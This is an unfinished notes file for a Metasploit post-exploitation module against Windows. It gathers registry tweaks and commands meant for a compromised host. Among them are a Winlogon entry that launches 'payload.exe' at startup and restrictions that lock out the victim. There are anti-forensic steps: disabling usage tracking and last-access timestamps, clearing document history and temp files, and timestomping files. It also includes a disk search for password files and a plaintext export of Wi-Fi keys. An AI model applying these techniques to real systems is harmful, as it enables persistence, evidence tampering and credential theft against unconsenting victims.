[ under develop ] post-exploitation M$_POLICIES

# ---------------------------------------------------------------------
#  New upgrade to 'my-auxiliary.rb' metasploit post-exploitation module
#  Author: r00t-3xp10it  DisclosureDate: 20-01-2015  Target: Windows
# ---------------------------------------------------------------------
#  This file its only one atempt to store registry values for later
#  beeing used to build ruby funtions and inserted into my-auxiliary.rb
# ---------------------------------------------------------------------
#  The new funtions will going to use targets 'regedit' to activate
#  restrictions, clear tracks or run your payload inside 'WINLOGON'
#  proccess (similar to meterpreter 'migrate' funtion)...
# ---------------------------------------------------------------------




1 - CHANGE RECICLE BIN NAME
[HKCU/softwear/microsoft/windows/current version/explorer/CLSI/{645FF040-5081-101B-9F08-00AA002F954E}]
"change the name by altering the 'predefinition' value"


2 - DISABLE CONTROL PANEL ACCESS
[HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
REG_DWORD "NoControlPanel" 0X00000001(1)


3 - HIDE DRIVES UNDER 'MY COMPUTER'
[HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
REG_DWORD "NoDrives" 67108863


4 - HIDE TASKBAR CLOCK
[HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
REG_DWORD "HideClock" REG_DWORD 0x00000001(1)


5 - ACTIVATE 'REMOTE ACCESS' TO REGEDIT FROM NETWORK (REMOTE)
[HKCU/softwear/microsoft/regedt32/settings]
REG_SZ "remote access" 0X00000001(1)


6 - This setting stops Windows from recording user tracking information including
which applications a user runs and which files and documents are being accessed.
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
REG_DWORD "NoInstrumentation" 0X00000001(1)


7 - Specify Executable Files to be Lauched by Winlogon (Windows NT/2000/XP)
This setting specifies a list of executable files to be run by Winlogon
in the system context when Windows starts.
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
REG_SZ value name: "system" Value Data: "default = payload.exe"


8 - Restricting Writing to USB Drives
[HKLM\SYSTEM\Current Control Set\Control\StorageDevicePolicies]
REG_DWORD "WriteProtect" REG_DWORD 0x00000001(1)


9 - Clears history of Documents
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
REG_DWORD "NoRecentDocsHistory" 0X00000001(1)
REG_DWORD "ClearRecentDocsOnExit" 0X00000001(1)



10 - Preventing Data Creation
Prevent the creation of certain data in the first place.
Data which was never there, obviously cannot be restored with forensic methods.

For example, a partition can be mounted read-only or accessed through the raw device
to prevent the file access times from being updated. The Windows registry key
[HKLM\SYSTEM\CurrentControlSet\Control\FileSystem\NtfsDisableLastAccessUpdate]
can be set to “1” to disable updating of the last-accessed timestamp;
this setting is default under Windows Vista (Microsoft 2006).



11. Activate registry changes in HKEY_CURRENT_USER without logging off (Windows 2000 and later):
(option A): RUNDLL32.EXE USER32.DLL,UpdatePerUserSystemParameters ,1 ,True

(option B): Automatic Screen Refresh
When you make changes to your file system and use Explorer,
the changes are not usually displayed until you press the F5 key
To refresh automatically:
[HKLM\System\CurrentControlSet\Control\Update
REG_DWORD "UpdateMode" 0X00000001(1)




12 - Change the Registered Change the User Information
You can change the Registered Owner or Registered Organization
to anything you want even after Windows is installed.
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion]
Change the value of "RegisteredOrganization" or "RegisteredOwner", to what ever you want



13- The Windows 7 Temp folder is located at:
C:\Users\(UserName)\AppData\Local\Temp
%temp% <-- var to access temp folders




14 - clear temporary internet files and cookies
del /F /Q "%Userprofile%\Local Settings\Temporary Internet Files\*.*"



15 - EnableInstallerDetection (UAC) affects the way that software is installed.
When it is set to one, the default, it automatically detects programs that
try to install using admin rights and a UAC dialog is displayed. If it is set
to zero then no warning is given when programs try to install.
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
REG_DWORD "EnableInstallerDetection" 0X00000001(1)



16 - Change timestamp on a file (linux)
touch -amct [[CC]YY]MMDDhhmm[.ss] FILE
-a for access time, -m for modification time, -c do not create any files, -t timestamp

#Change timestamp on a file
touch --date "2010-01-05" /tmp/filename

#Change timestamp on a file interactive
touch -d $(zenity --calendar --date-format=%F) filename




17 - Change timestamp on a file (windows)
meterpreter > timestomp -h
usage: timestomp <file_path> options

# set all 4 attributes (modify|entry modify|accessed|created)
meterpreter > timestomp pentesting.txt -z "1/15/2013 15:15:25"

# set timestomp recursive on a directory
meterpreter > timestomp C:\test -r "1/15/2013 15:15:25"




18 - busca de senhas em arquivos (disk)
find / -type f -exec grep -li "senha" {} \;


19 - Export Local Wireless Passwords (In Plaintext)
netsh wlan export profile key=clear

# --------------------------------------
more info: http://www.onecomputerguy.com/registry_tips.htm
http://www.irongeek.com/i.php?page=security/windows-forensics-registry-and-file-system-spots

http://tim3warri0r.blogspot.pt/2012/09/windows-post-exploitation-command-list.html

#_EOF